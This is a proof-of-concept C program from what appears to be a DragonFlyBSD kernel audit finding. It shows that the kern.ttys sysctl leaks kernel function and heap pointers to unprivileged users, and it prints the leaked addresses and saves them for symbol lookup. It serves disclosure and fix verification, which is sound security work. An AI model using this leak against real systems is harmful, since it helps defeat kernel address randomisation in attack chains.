DragonFlyBSD Kernel Audit
DF-0006 / leak_ttys.c
← back to finding ↓ download raw
/*
 * DF-0006 PoC - kern.ttys sysctl leaks kernel function/heap pointers.
 *
 * sysctl_kern_ttys() (sys/kern/tty.c:2891-2921) copies each struct tty
 * verbatim to userspace:
 *     t = *tp;                                   // tty.c:2911 (whole struct)
 *     if (t.t_dev) t.t_dev = devid_from_dev(..); // only t_dev sanitized
 *     SYSCTL_OUT(req, &t, sizeof(t));            // tty.c:2914
 *
 * struct tty (sys/sys/tty.h) embeds:
 *   - kernel .text function pointers  t_oproc / t_stop / t_param / t_unhold
 *     (for ptys these resolve to ptsstart/ptsstop/ptsunhold in tty_pty.c)
 *   - kernel heap object pointers     t_pgrp / t_session / t_sigio / t_sc /
 *                                     t_slsc
 *   - per-clist data buffer pointers  t_rawq.c_data / t_canq.c_data /
 *                                     t_outq.c_data
 *   - an embedded lwkt_token           t_token
 * Only t_dev is rewritten before copyout, so ALL of the above are leaked.
 * The OID is CTLTYPE_OPAQUE|CTLFLAG_RD (tty.c:2923-2924) and sysctl reads
 * are NOT privilege-gated (kern_sysctl.c:1446-1450 only checks writes), so
 * any unprivileged local user can dump them.
 *
 * This PoC reads the blob, scans it for pointer-sized values that live in
 * the amd64 kernel address space (canonical upper half), prints them, and
 * also dumps the raw blob to ttys.bin so the leaked function pointers can
 * be cross-referenced against `nm /boot/kernel/kernel` offline.
 *
 * Build (DragonFlyBSD amd64): cc -o leak_ttys leak_ttys.c
 * Run as an UNPRIVILEGED user:  ./leak_ttys
 *
 * Expected (bug present): prints many kernel-range pointers and exits 0.
 * On a fixed kernel: no kernel-range pointers, exits 2.
 */

#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

/*
 * amd64 canonical kernel addresses: bit 47 set, bits 48..63 all set, i.e.
 * the whole upper half [0xffff800000000000 .. 0xffffffffffffffff].
 * DragonFly maps kernel .text near 0xffffffff80000000 and the direct-map
 * (kmalloc heap) near 0xffff800000000000, so both ranges are covered.
 */
static int
looks_like_kaddr(uint64_t v)
{
	return (v >= 0xffff800000000000ULL);
}

int
main(void)
{
	void *buf = NULL;
	size_t len = 0;
	int r;

	r = sysctlbyname("kern.ttys", NULL, &len, NULL, 0);
	if (r != 0) {
		perror("sysctlbyname(getlen) kern.ttys");
		return 1;
	}
	if (len == 0) {
		printf("kern.ttys returned 0 bytes (no ttys registered)\n");
		return 0;
	}

	buf = malloc(len);
	if (buf == NULL) {
		perror("malloc");
		return 1;
	}

	r = sysctlbyname("kern.ttys", buf, &len, NULL, 0);
	if (r != 0) {
		perror("sysctlbyname(get) kern.ttys");
		free(buf);
		return 1;
	}

	printf("got %zu bytes from kern.ttys\n", len);

	/* Dump the raw blob for offline nm cross-reference. */
	{
		FILE *fp = fopen("ttys.bin", "wb");
		if (fp) {
			if (fwrite(buf, 1, len, fp) != len)
				perror("fwrite ttys.bin");
			fclose(fp);
			printf("raw blob written to ttys.bin (%zu bytes)\n", len);
		} else {
			perror("fopen ttys.bin");
		}
	}

	/* Scan the whole blob at every 8-byte aligned stride for kernel ptrs. */
	const uint64_t *p = (const uint64_t *)buf;
	size_t n = len / sizeof(*p);
	size_t leaked = 0;
	for (size_t i = 0; i < n; i++) {
		if (looks_like_kaddr(p[i])) {
			if (leaked < 60)	/* cap printed output */
				printf("  blob offset %5zu (word %4zu): 0x%016llx\n",
				       (size_t)(i * sizeof(*p)), i,
				       (unsigned long long)p[i]);
			leaked++;
		}
	}
	printf("total kernel-range pointer-sized values leaked: %zu\n", leaked);

	free(buf);
	return (leaked > 0) ? 0 : 2;
}